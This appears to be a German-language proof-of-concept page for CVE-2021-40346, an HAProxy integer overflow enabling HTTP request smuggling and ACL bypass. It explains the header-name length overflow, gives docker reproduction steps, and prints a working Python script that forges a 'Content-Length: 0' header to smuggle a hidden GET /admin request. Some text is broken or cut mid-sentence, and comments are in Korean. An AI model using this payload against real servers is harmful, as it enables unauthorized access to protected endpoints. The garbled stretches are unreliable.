
PoC-Exploit für CVE-2021-40346: Integer-Überlauf in HAProxy ermöglicht HTTP-Request-Smuggling und ACL-Umgehung. Enthält Analyse, Reproduktionsschritte und Schadensbegrenzungshinweise.
htx_add_header(), die HTTP-Header im internen HTX-Format speichert, die Länge des Headernamens nicht überprüft.path_beg /admin) auf Basis von konfiguriert sein — diese Regel ist das Ziel der Umgehung.http-requestHAProxy speichert HTTP-Header im internen HTX-Format und zeichnet die Länge des Headernamens in einem 8-Bit-Feld (maximal 255) auf. In der Funktion htx_add_header() fehlt eine Überprüfung dieser Länge, sodass bei einem Namen von mehr als 256 Bytes ein Integer-Überlauf auftritt und die überlaufenden Bits in das benachbarte Feld für die Wertlänge übertragen werden.
Wenn der Headername exakt 270 Bytes beträgt (270 mod 256 = 14), verwechselt HAProxy ihn mit "Content-Length" (14 Zeichen) und liest das durch den Überlauf kontaminierte 1-Byte als Wert. Platziert man dort "0", wird ein gefälschter Content-Length: 0-Header erzeugt.
Wenn nach diesem gefälschten Header der echte Content-Length-Header gesendet wird, übernimmt HAProxy den zuerst empfangenen (den gefälschten 0) und verwirft den echten. Der Prozess des Einlesens des tatsächlichen Rumpfes vom Client funktioniert zwar korrekt basierend auf dem Originaltext, aber der an das Backend übermittelte Header enthält den gefälschten Wert (0), sodass die tatsächlich empfangene Rumpfgröße und die dem Backend mitgeteilte Größe nicht übereinstimmen.
Das Backend vertraut dem mitgeteilten Wert (0), nimmt an, dass die Anfrage beendet ist, und interpretiert die ursprünglichen Rumpfdaten als vollständig neue Anfrage. Da die ACL von HAProxy zuvor nur die erste Anfragezeile überprüft, erreicht die versteckte zweite Anfrage das Backend, ohne der Prüfung unterzogen zu werden. Infolgedessen werden alle konfigurierten http-request-ACLs umgangen.
Führen Sie docker compose up --build -d aus, um die anfällige Testumgebung zu starten (haproxy 2.2.16 / Backend: gunicorn).
Testen Sie die Aktivierung von HAProxy und Backend-Server mit folgendem Code:
until curl -s -o /dev/null http://localhost:8080/; do sleep 1; done
echo "준비 완료"
Führen Sie den PoC-Code aus: python3 poc.py --host 127.0.0.1 --port 8080
Überprüfen Sie mit docker logs cve-2021-40346-backend --tail 5, ob die /admin-Anfrage tatsächlich im Backend verarbeitet wurde.
import socket
HOST = "127.0.0.1"
PORT = 8080
# 이름을 270바이트로 만들면 8비트 이름 길이 필드가 오버플로우되어
# HAProxy가 이걸 "Content-Length: 0" 헤더로 착각한다.
fake_name = b"Content-Length" + b"0" + b"a" * 255 # 14 + 1 + 255 = 270 bytes
hidden_request = b"GET /admin HTTP/1.1\r\nHost: abc.com\r\nConnection: close\r\n\r\n"
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: abc.com\r\n"
+ fake_name + b":\r\n"
+ b"Content-Length: " + str(len(hidden_request)).encode() + b"\r\n"
b"\r\n"
+ hidden_request
)
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(payload)
print(s.recv(4096).decode(errors="replace"))
Wie oben zu sehen, wird die GET-Anfrage an das eingeschränkte /admin im Backend verarbeitet.
htx_add_header() hinzugefügt wurde).